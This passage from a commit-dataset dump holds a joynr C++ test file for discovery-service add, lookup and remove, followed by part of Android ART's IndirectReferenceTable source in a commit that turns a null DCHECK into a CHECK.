discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n}\n\nTEST_F(SystemServicesDiscoveryTest, add)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    std::string participantId(\"SystemServicesDiscoveryTest.ParticipantID.A\");\n    joynr::types::DiscoveryQos discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n    joynr::types::ProviderQos providerQos(\n                std::vector<joynr::types::CustomParameter>(), \/\/ custom provider parameters\n                1,                                      \/\/ priority\n                joynr::types::ProviderScope::LOCAL,     \/\/ scope for provider registration\n                false                                   \/\/ provider supports on change subscriptions\n    );\n    joynr::types::Version providerVersion(47, 11);\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> expectedResult;\n    joynr::types::DiscoveryEntryWithMetaInfo discoveryEntry(\n                providerVersion,\n                domain,\n                interfaceName,\n                participantId,\n                providerQos,\n                lastSeenDateMs,\n                expiryDateMs,\n                publicKeyId,\n                true\n    );\n    expectedResult.push_back(discoveryEntry);\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n\n    try {\n        discoveryProxy->add(discoveryEntry);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"add was not successful\";\n    }\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_EQ(expectedResult, result);\n}\n\nTEST_F(SystemServicesDiscoveryTest, remove)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    std::string participantId(\"SystemServicesDiscoveryTest.ParticipantID.A\");\n    joynr::types::DiscoveryQos discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n    joynr::types::ProviderQos providerQos(\n                std::vector<joynr::types::CustomParameter>(), \/\/ custom provider parameters\n                1,                                      \/\/ priority\n                joynr::types::ProviderScope::LOCAL,     \/\/ scope for provider registration\n                false                                   \/\/ provider supports on change subscriptions\n    );\n    joynr::types::Version providerVersion(47, 11);\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> expectedResult;\n    joynr::types::DiscoveryEntryWithMetaInfo discoveryEntry(\n                providerVersion,\n                domain,\n                interfaceName,\n                participantId,\n                providerQos,\n                lastSeenDateMs,\n                expiryDateMs,\n                publicKeyId,\n                true\n    );\n    expectedResult.push_back(discoveryEntry);\n\n    try {\n        discoveryProxy->add(discoveryEntry);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"add was not successful\";\n    }\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_EQ(expectedResult, result);\n\n    try {\n        discoveryProxy->remove(participantId);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"remove was not successful\";\n    }\n\n    result.clear();\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n}\n<commit_msg>[C++] Fixed SystemServicesDiscoveryTest<commit_after>\/*\n * #%L\n * %%\n * Copyright (C) 2011 - 2017 BMW Car IT GmbH\n * %%\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * \n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * #L%\n *\/\n#include <memory>\n#include <string>\n\n#include <gtest\/gtest.h>\n#include <gmock\/gmock.h>\n\n#include \"joynr\/CapabilityUtils.h\"\n#include \"joynr\/JoynrClusterControllerRuntime.h\"\n#include \"joynr\/LibjoynrSettings.h\"\n#include \"joynr\/system\/DiscoveryProxy.h\"\n#include \"joynr\/Settings.h\"\n#include \"joynr\/types\/Version.h\"\n#include \"joynr\/system\/RoutingTypes\/MqttAddress.h\"\n#include \"joynr\/system\/RoutingTypes\/ChannelAddress.h\"\n#include \"joynr\/serializer\/Serializer.h\"\n\n#include \"tests\/JoynrTest.h\"\n#include \"tests\/utils\/MockObjects.h\"\n\nusing namespace joynr;\n\nclass SystemServicesDiscoveryTest : public ::testing::Test {\npublic:\n    std::string settingsFilename;\n    std::unique_ptr<Settings> settings;\n    std::string discoveryDomain;\n    std::string discoveryProviderParticipantId;\n    std::shared_ptr<JoynrClusterControllerRuntime> runtime;\n    std::shared_ptr<ITransportMessageReceiver> mockMessageReceiverHttp;\n    std::shared_ptr<ITransportMessageReceiver> mockMessageReceiverMqtt;\n    std::shared_ptr<ITransportMessageSender> mockMessageSenderMqtt;\n    DiscoveryQos discoveryQos;\n    std::shared_ptr<ProxyBuilder<joynr::system::DiscoveryProxy>> discoveryProxyBuilder;\n    std::shared_ptr<joynr::system::DiscoveryProxy> discoveryProxy;\n    std::int64_t lastSeenDateMs;\n    std::int64_t expiryDateMs;\n    std::string publicKeyId;\n\n    SystemServicesDiscoveryTest() :\n        settingsFilename(\"test-resources\/SystemServicesDiscoveryTest.settings\"),\n        settings(std::make_unique<Settings>(settingsFilename)),\n        discoveryDomain(),\n        discoveryProviderParticipantId(),\n        runtime(),\n        mockMessageReceiverHttp(std::make_shared<MockTransportMessageReceiver>()),\n        mockMessageReceiverMqtt(std::make_shared<MockTransportMessageReceiver>()),\n        mockMessageSenderMqtt(std::make_shared<MockTransportMessageSender>()),\n        discoveryQos(),\n        discoveryProxyBuilder(nullptr),\n        discoveryProxy(nullptr),\n        lastSeenDateMs(-1),\n        expiryDateMs(-1),\n        publicKeyId(\"\")\n    {\n        SystemServicesSettings systemSettings(*settings);\n        systemSettings.printSettings();\n        discoveryDomain = systemSettings.getDomain();\n        discoveryProviderParticipantId = systemSettings.getCcDiscoveryProviderParticipantId();\n\n        discoveryQos.setCacheMaxAgeMs(1000);\n        discoveryQos.setArbitrationStrategy(DiscoveryQos::ArbitrationStrategy::FIXED_PARTICIPANT);\n        discoveryQos.addCustomParameter(\"fixedParticipantId\", discoveryProviderParticipantId);\n        discoveryQos.setDiscoveryTimeoutMs(50);\n\n        std::string httpChannelId(\"http_SystemServicesDiscoveryTest.ChannelId\");\n        std::string httpEndPointUrl(\"http_SystemServicesRoutingTest.endPointUrl\");\n        std::string mqttTopic(\"mqtt_SystemServicesRoutingTest.topic\");\n        std::string mqttBrokerUrl(\"mqtt_SystemServicesRoutingTest.brokerUrl\");\n\n        using system::RoutingTypes::ChannelAddress;\n        using system::RoutingTypes::MqttAddress;\n\n        std::string serializedChannelAddress = joynr::serializer::serializeToJson(ChannelAddress(httpEndPointUrl, httpChannelId));\n        std::string serializedMqttAddress = joynr::serializer::serializeToJson(MqttAddress(mqttBrokerUrl, mqttTopic));\n\n        EXPECT_CALL(*(std::dynamic_pointer_cast<MockTransportMessageReceiver>(mockMessageReceiverHttp).get()), getGlobalClusterControllerAddress())\n                .WillRepeatedly(::testing::ReturnRefOfCopy(serializedChannelAddress));\n        EXPECT_CALL(*(std::dynamic_pointer_cast<MockTransportMessageReceiver>(mockMessageReceiverMqtt)), getGlobalClusterControllerAddress())\n                .WillRepeatedly(::testing::ReturnRefOfCopy(serializedMqttAddress));\n\n        \/\/runtime can only be created, after MockCommunicationManager has been told to return\n        \/\/a channelId for getReceiveChannelId.\n        runtime = std::make_shared<JoynrClusterControllerRuntime>(\n                std::move(settings),\n                mockMessageReceiverHttp,\n                nullptr,\n                mockMessageReceiverMqtt,\n                mockMessageSenderMqtt);\n        \/\/ discovery provider is normally registered in JoynrClusterControllerRuntime::create\n        runtime->init();\n        runtime->registerDiscoveryProvider();\n        discoveryProxyBuilder = runtime->createProxyBuilder<joynr::system::DiscoveryProxy>(discoveryDomain);\n    }\n\n    ~SystemServicesDiscoveryTest(){\n        discoveryProxy.reset();\n        discoveryProxyBuilder.reset();\n        runtime->unregisterDiscoveryProvider();\n        runtime->deleteChannel();\n        runtime->stopExternalCommunication();\n        runtime.reset();\n\n        \/\/ Delete persisted files\n        std::remove(settingsFilename.c_str());\n        std::remove(ClusterControllerSettings::DEFAULT_LOCAL_CAPABILITIES_DIRECTORY_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_MESSAGE_ROUTER_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_SUBSCRIPTIONREQUEST_PERSISTENCE_FILENAME().c_str());\n        std::remove(LibjoynrSettings::DEFAULT_PARTICIPANT_IDS_PERSISTENCE_FILENAME().c_str());\n    }\n\nprivate:\n    DISALLOW_COPY_AND_ASSIGN(SystemServicesDiscoveryTest);\n};\n\n\nTEST_F(SystemServicesDiscoveryTest, discoveryProviderIsAvailable)\n{\n    JOYNR_EXPECT_NO_THROW(\n        discoveryProxy = discoveryProxyBuilder\n                ->setMessagingQos(MessagingQos(5000))\n                ->setDiscoveryQos(discoveryQos)\n                ->build();\n    );\n}\n\nTEST_F(SystemServicesDiscoveryTest, lookupUnknowParticipantReturnsEmptyResult)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    joynr::types::DiscoveryQos discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n}\n\nTEST_F(SystemServicesDiscoveryTest, add)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    std::string participantId(\"SystemServicesDiscoveryTest.ParticipantID.A\");\n    joynr::types::DiscoveryQos discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n    joynr::types::ProviderQos providerQos(\n                std::vector<joynr::types::CustomParameter>(), \/\/ custom provider parameters\n                1,                                      \/\/ priority\n                joynr::types::ProviderScope::LOCAL,     \/\/ scope for provider registration\n                false                                   \/\/ provider supports on change subscriptions\n    );\n    joynr::types::Version providerVersion(47, 11);\n    joynr::types::DiscoveryEntry discoveryEntry(\n                providerVersion,\n                domain,\n                interfaceName,\n                participantId,\n                providerQos,\n                lastSeenDateMs,\n                expiryDateMs,\n                publicKeyId\n    );\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> expectedResult;\n    auto expectedEntry = util::convert(true, discoveryEntry);\n    expectedResult.push_back(expectedEntry);\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n\n    try {\n        discoveryProxy->add(discoveryEntry);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"add was not successful\";\n    }\n\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_EQ(expectedResult, result);\n}\n\nTEST_F(SystemServicesDiscoveryTest, remove)\n{\n    discoveryProxy = discoveryProxyBuilder\n            ->setMessagingQos(MessagingQos(5000))\n            ->setDiscoveryQos(discoveryQos)\n            ->build();\n\n    std::string domain(\"SystemServicesDiscoveryTest.Domain.A\");\n    std::string interfaceName(\"SystemServicesDiscoveryTest.InterfaceName.A\");\n    std::string participantId(\"SystemServicesDiscoveryTest.ParticipantID.A\");\n    joynr::types::DiscoveryQos discoveryQos(\n                5000,                                     \/\/ max cache age\n                5000,                                     \/\/ discovery ttl\n                joynr::types::DiscoveryScope::LOCAL_ONLY, \/\/ discovery scope\n                false                                     \/\/ provider must support on change subscriptions\n    );\n    joynr::types::ProviderQos providerQos(\n                std::vector<joynr::types::CustomParameter>(), \/\/ custom provider parameters\n                1,                                      \/\/ priority\n                joynr::types::ProviderScope::LOCAL,     \/\/ scope for provider registration\n                false                                   \/\/ provider supports on change subscriptions\n    );\n    joynr::types::Version providerVersion(47, 11);\n    joynr::types::DiscoveryEntry discoveryEntry(\n                providerVersion,\n                domain,\n                interfaceName,\n                participantId,\n                providerQos,\n                lastSeenDateMs,\n                expiryDateMs,\n                publicKeyId\n    );\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> expectedResult;\n    auto expectedEntry = util::convert(true, discoveryEntry);\n    expectedResult.push_back(expectedEntry);\n\n    try {\n        discoveryProxy->add(discoveryEntry);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"add was not successful\";\n    }\n\n    std::vector<joynr::types::DiscoveryEntryWithMetaInfo> result;\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_EQ(expectedResult, result);\n\n    try {\n        discoveryProxy->remove(participantId);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"remove was not successful\";\n    }\n\n    result.clear();\n    try {\n        discoveryProxy->lookup(result, {domain}, interfaceName, discoveryQos);\n    } catch (const exceptions::JoynrException& e) {\n        ADD_FAILURE()<< \"lookup was not successful\";\n    }\n    EXPECT_TRUE(result.empty());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2009 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"indirect_reference_table.h\"\n#include \"jni_internal.h\"\n#include \"reference_table.h\"\n#include \"runtime.h\"\n#include \"scoped_thread_state_change.h\"\n#include \"thread.h\"\n#include \"utils.h\"\n\n#include <cstdlib>\n\nnamespace art {\n\nstatic void AbortMaybe() {\n  \/\/ If -Xcheck:jni is on, it'll give a more detailed error before aborting.\n  if (!Runtime::Current()->GetJavaVM()->check_jni) {\n    \/\/ Otherwise, we want to abort rather than hand back a bad reference.\n    LOG(FATAL) << \"JNI ERROR (app bug): see above.\";\n  }\n}\n\nIndirectReferenceTable::IndirectReferenceTable(size_t initialCount,\n                                               size_t maxCount, IndirectRefKind desiredKind) {\n  CHECK_GT(initialCount, 0U);\n  CHECK_LE(initialCount, maxCount);\n  CHECK_NE(desiredKind, kSirtOrInvalid);\n\n  table_ = reinterpret_cast<mirror::Object**>(malloc(initialCount * sizeof(const mirror::Object*)));\n  CHECK(table_ != NULL);\n  memset(table_, 0xd1, initialCount * sizeof(const mirror::Object*));\n\n  slot_data_ = reinterpret_cast<IndirectRefSlot*>(calloc(initialCount, sizeof(IndirectRefSlot)));\n  CHECK(slot_data_ != NULL);\n\n  segment_state_.all = IRT_FIRST_SEGMENT;\n  alloc_entries_ = initialCount;\n  max_entries_ = maxCount;\n  kind_ = desiredKind;\n}\n\nIndirectReferenceTable::~IndirectReferenceTable() {\n  free(table_);\n  free(slot_data_);\n  table_ = NULL;\n  slot_data_ = NULL;\n  alloc_entries_ = max_entries_ = -1;\n}\n\n\/\/ Make sure that the entry at \"idx\" is correctly paired with \"iref\".\nbool IndirectReferenceTable::CheckEntry(const char* what, IndirectRef iref, int idx) const {\n  const mirror::Object* obj = table_[idx];\n  IndirectRef checkRef = ToIndirectRef(obj, idx);\n  if (UNLIKELY(checkRef != iref)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): attempt to \" << what\n               << \" stale \" << kind_ << \" \" << iref\n               << \" (should be \" << checkRef << \")\";\n    AbortMaybe();\n    return false;\n  }\n  return true;\n}\n\nIndirectRef IndirectReferenceTable::Add(uint32_t cookie, mirror::Object* obj) {\n  IRTSegmentState prevState;\n  prevState.all = cookie;\n  size_t topIndex = segment_state_.parts.topIndex;\n\n  DCHECK(obj != NULL);\n  \/\/ TODO: stronger sanity check on the object (such as in heap)\n  DCHECK_ALIGNED(reinterpret_cast<uintptr_t>(obj), 8);\n  DCHECK(table_ != NULL);\n  DCHECK_LE(alloc_entries_, max_entries_);\n  DCHECK_GE(segment_state_.parts.numHoles, prevState.parts.numHoles);\n\n  if (topIndex == alloc_entries_) {\n    \/\/ reached end of allocated space; did we hit buffer max?\n    if (topIndex == max_entries_) {\n      LOG(FATAL) << \"JNI ERROR (app bug): \" << kind_ << \" table overflow \"\n                 << \"(max=\" << max_entries_ << \")\\n\"\n                 << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n    }\n\n    size_t newSize = alloc_entries_ * 2;\n    if (newSize > max_entries_) {\n      newSize = max_entries_;\n    }\n    DCHECK_GT(newSize, alloc_entries_);\n\n    table_ = reinterpret_cast<mirror::Object**>(realloc(table_, newSize * sizeof(mirror::Object*)));\n    slot_data_ = reinterpret_cast<IndirectRefSlot*>(realloc(slot_data_,\n                                                            newSize * sizeof(IndirectRefSlot)));\n    if (table_ == NULL || slot_data_ == NULL) {\n      LOG(FATAL) << \"JNI ERROR (app bug): unable to expand \"\n                 << kind_ << \" table (from \"\n                 << alloc_entries_ << \" to \" << newSize\n                 << \", max=\" << max_entries_ << \")\\n\"\n                 << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n    }\n\n    \/\/ Clear the newly-allocated slot_data_ elements.\n    memset(slot_data_ + alloc_entries_, 0, (newSize - alloc_entries_) * sizeof(IndirectRefSlot));\n\n    alloc_entries_ = newSize;\n  }\n\n  \/\/ We know there's enough room in the table.  Now we just need to find\n  \/\/ the right spot.  If there's a hole, find it and fill it; otherwise,\n  \/\/ add to the end of the list.\n  IndirectRef result;\n  int numHoles = segment_state_.parts.numHoles - prevState.parts.numHoles;\n  if (numHoles > 0) {\n    DCHECK_GT(topIndex, 1U);\n    \/\/ Find the first hole; likely to be near the end of the list.\n    mirror::Object** pScan = &table_[topIndex - 1];\n    DCHECK(*pScan != NULL);\n    while (*--pScan != NULL) {\n      DCHECK_GE(pScan, table_ + prevState.parts.topIndex);\n    }\n    UpdateSlotAdd(obj, pScan - table_);\n    result = ToIndirectRef(obj, pScan - table_);\n    *pScan = obj;\n    segment_state_.parts.numHoles--;\n  } else {\n    \/\/ Add to the end.\n    UpdateSlotAdd(obj, topIndex);\n    result = ToIndirectRef(obj, topIndex);\n    table_[topIndex++] = obj;\n    segment_state_.parts.topIndex = topIndex;\n  }\n  if (false) {\n    LOG(INFO) << \"+++ added at \" << ExtractIndex(result) << \" top=\" << segment_state_.parts.topIndex\n              << \" holes=\" << segment_state_.parts.numHoles;\n  }\n\n  DCHECK(result != NULL);\n  return result;\n}\n\nvoid IndirectReferenceTable::AssertEmpty() {\n  if (UNLIKELY(begin() != end())) {\n    ScopedObjectAccess soa(Thread::Current());\n    LOG(FATAL) << \"Internal Error: non-empty local reference table\\n\"\n               << MutatorLockedDumpable<IndirectReferenceTable>(*this);\n  }\n}\n\n\/\/ Verifies that the indirect table lookup is valid.\n\/\/ Returns \"false\" if something looks bad.\nbool IndirectReferenceTable::GetChecked(IndirectRef iref) const {\n  if (UNLIKELY(iref == NULL)) {\n    LOG(WARNING) << \"Attempt to look up NULL \" << kind_;\n    return false;\n  }\n  if (UNLIKELY(GetIndirectRefKind(iref) == kSirtOrInvalid)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): invalid \" << kind_ << \" \" << iref;\n    AbortMaybe();\n    return false;\n  }\n\n  int topIndex = segment_state_.parts.topIndex;\n  int idx = ExtractIndex(iref);\n  if (UNLIKELY(idx >= topIndex)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): accessed stale \" << kind_ << \" \"\n               << iref << \" (index \" << idx << \" in a table of size \" << topIndex << \")\";\n    AbortMaybe();\n    return false;\n  }\n\n  if (UNLIKELY(table_[idx] == NULL)) {\n    LOG(ERROR) << \"JNI ERROR (app bug): accessed deleted \" << kind_ << \" \" << iref;\n    AbortMaybe();\n    return false;\n  }\n\n  if (UNLIKELY(!CheckEntry(\"use\", iref, idx))) {\n    return false;\n  }\n\n  return true;\n}\n\nstatic int Find(mirror::Object* direct_pointer, int bottomIndex, int topIndex,\n                mirror::Object** table) {\n  for (int i = bottomIndex; i < topIndex; ++i) {\n    if (table[i] == direct_pointer) {\n      return i;\n    }\n  }\n  return -1;\n}\n\nbool IndirectReferenceTable::ContainsDirectPointer(mirror::Object* direct_pointer) const {\n  return Find(direct_pointer, 0, segment_state_.parts.topIndex, table_) != -1;\n}\n\n\/\/ Removes an object. We extract the table offset bits from \"iref\"\n\/\/ and zap the corresponding entry, leaving a hole if it's not at the top.\n\/\/ If the entry is not between the current top index and the bottom index\n\/\/ specified by the cookie, we don't remove anything. This is the behavior\n\/\/ required by JNI's DeleteLocalRef function.\n\/\/ This method is not called when a local frame is popped; this is only used\n\/\/ for explicit single removals.\n\/\/ Returns \"false\" if nothing was removed.\nbool IndirectReferenceTable::Remove(uint32_t cookie, IndirectRef iref) {\n  IRTSegmentState prevState;\n  prevState.all = cookie;\n  int topIndex = segment_state_.parts.topIndex;\n  int bottomIndex = prevState.parts.topIndex;\n\n  DCHECK(table_ != NULL);\n  DCHECK_LE(alloc_entries_, max_entries_);\n  DCHECK_GE(segment_state_.parts.numHoles, prevState.parts.numHoles);\n\n  int idx = ExtractIndex(iref);\n\n  JavaVMExt* vm = Runtime::Current()->GetJavaVM();\n  if (GetIndirectRefKind(iref) == kSirtOrInvalid &&\n      Thread::Current()->SirtContains(reinterpret_cast<jobject>(iref))) {\n    LOG(WARNING) << \"Attempt to remove local SIRT entry from IRT, ignoring\";\n    return true;\n  }\n  if (GetIndirectRefKind(iref) == kSirtOrInvalid && vm->work_around_app_jni_bugs) {\n    mirror::Object* direct_pointer = reinterpret_cast<mirror::Object*>(iref);\n    idx = Find(direct_pointer, bottomIndex, topIndex, table_);\n    if (idx == -1) {\n      LOG(WARNING) << \"Trying to work around app JNI bugs, but didn't find \" << iref << \" in table!\";\n      return false;\n    }\n  }\n\n  if (idx < bottomIndex) {\n    \/\/ Wrong segment.\n    LOG(WARNING) << \"Attempt to remove index outside index area (\" << idx\n                 << \" vs \" << bottomIndex << \"-\" << topIndex << \")\";\n    return false;\n  }\n  if (idx >= topIndex) {\n    \/\/ Bad --- stale reference?\n    LOG(WARNING) << \"Attempt to remove invalid index \" << idx\n                 << \" (bottom=\" << bottomIndex << \" top=\" << topIndex << \")\";\n    return false;\n  }\n\n  if (idx == topIndex-1) {\n    \/\/ Top-most entry.  Scan up and consume holes.\n\n    if (!vm->work_around_app_jni_bugs && !CheckEntry(\"remove\", iref, idx)) {\n      return false;\n    }\n\n    table_[idx] = NULL;\n    int numHoles = segment_state_.parts.numHoles - prevState.parts.numHoles;\n    if (numHoles != 0) {\n      while (--topIndex > bottomIndex && numHoles != 0) {\n        if (false) {\n          LOG(INFO) << \"+++ checking for hole at \" << topIndex-1\n                    << \" (cookie=\" << cookie << \") val=\" << table_[topIndex - 1];\n        }\n        if (table_[topIndex-1] != NULL) {\n          break;\n        }\n        if (false) {\n          LOG(INFO) << \"+++ ate hole at \" << (topIndex - 1);\n        }\n        numHoles--;\n      }\n      segment_state_.parts.numHoles = numHoles + prevState.parts.numHoles;\n      segment_state_.parts.topIndex = topIndex;\n    } else {\n      segment_state_.parts.topIndex = topIndex-1;\n      if (false) {\n        LOG(INFO) << \"+++ ate last entry \" << topIndex - 1;\n      }\n    }\n  } else {\n    \/\/ Not the top-most entry.  This creates a hole.  We NULL out the\n    \/\/ entry to prevent somebody from deleting it twice and screwing up\n    \/\/ the hole count.\n    if (table_[idx] == NULL) {\n      LOG(INFO) << \"--- WEIRD: removing null entry \" << idx;\n      return false;\n    }\n    if (!vm->work_around_app_jni_bugs && !CheckEntry(\"remove\", iref, idx)) {\n      return false;\n    }\n\n    table_[idx] = NULL;\n    segment_state_.parts.numHoles++;\n    if (false) {\n      LOG(INFO) << \"+++ left hole at \" << idx << \", holes=\" << segment_state_.parts.numHoles;\n    }\n  }\n\n  return true;\n}\n\nvoid IndirectReferenceTable::VisitRoots(RootVisitor* visitor, void* arg) {\n  for (auto ref : *this) {\n    *ref = visitor(const_cast<mirror::Object*>(*ref), arg);\n    DCHECK(*ref != nullptr);\n  }\n}\n\nvoid IndirectReferenceTable::Dump(std::ostream& os) const {\n  os << kind_ << \" table dump:\\n\";\n  ReferenceTable::Table entries(table_, table_ + Capacity());\n  \/\/ Remove NULLs.\n  for (int i = entries.size() - 1; i >= 0; --i) {\n    if (entries[i] == NULL) {\n      entries.erase(entries.begin() + i);\n    }\n  }\n  ReferenceTable::Dump(os, entries);\n}\n\n}  \/\/ namespace art\n<commit_msg>am 7a761d8c: Merge \"Change IndirectReferenceTable::Add null DCHECK to CHECK.\"<commit_after>\/*\n * Copyright (C) 2009 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"indirect_reference_table.h\"\n#include \"jni_internal.h\"\n#include \"reference_table.h\"\n#include \"runtime.h\"\n#include \"scoped_thread_state_change.h\"\n#include \"thread.h\"\n#include \"utils.h\"\n\n#include <cstdlib>\n\nnamespace art {\n\nstatic void AbortMaybe() {\n  \/\/ If -Xcheck:jni is on, it'll give a more detailed error before aborting.\n  if (!Runtime::Current()->GetJavaVM()->check_jni) {\n    \/\/ Otherwise, we want to abort rather than hand back a bad reference.\n    LOG(FATAL) << \"JNI ERROR (app bug): see above.\";\n  }\n}\n\nIndirectReferenceTable::IndirectReferenceTable(size_t initialCount,\n                                               size_t maxCount, IndirectRefKind desiredKind) {\n  CHECK_GT(initialCount, 0U);\n  CHECK_LE(initialCount, maxCount);\n  CHECK_NE(desiredKind, kSirtOrInvalid);\n\n  table_ = reinterpret_cast<mirror::Object**>(malloc(initialCount * sizeof(const mirror::Object*)));\n  CHECK(table_ != NULL);\n  memset(table_, 0xd1, initialCount * sizeof(const mirror::Object*));\n\n  slot_data_ = reinterpret_cast<IndirectRefSlot*>(calloc(initialCount, sizeof(IndirectRefSlot)));\n  CHECK(slot_data_ != NULL);\n\n  segment_state_.all = IRT_FIRST_SEGMENT;\n  alloc_entries_ = initialCount;\n  max_entries_ = maxCount;\n  kind_ = desiredKind;\n}\n\nIndirectReferenceTable::~IndirectReferenceTable() {\n  free(table_);\n  free(slot_data_);\n  table_ = NULL;\n  slot_data_ = NULL;\n  alloc_entries_ = max_entries_ = -1;\n}\n\n\/\/ Make sure that the entry at \"idx\" is correctly paired with \"iref\".\nbool IndirectReferenceTable::CheckEntry(const char* what, IndirectRef iref, int idx) const {\n  const mirror::Object* obj = table_[idx];\n  IndirectRef checkRef = 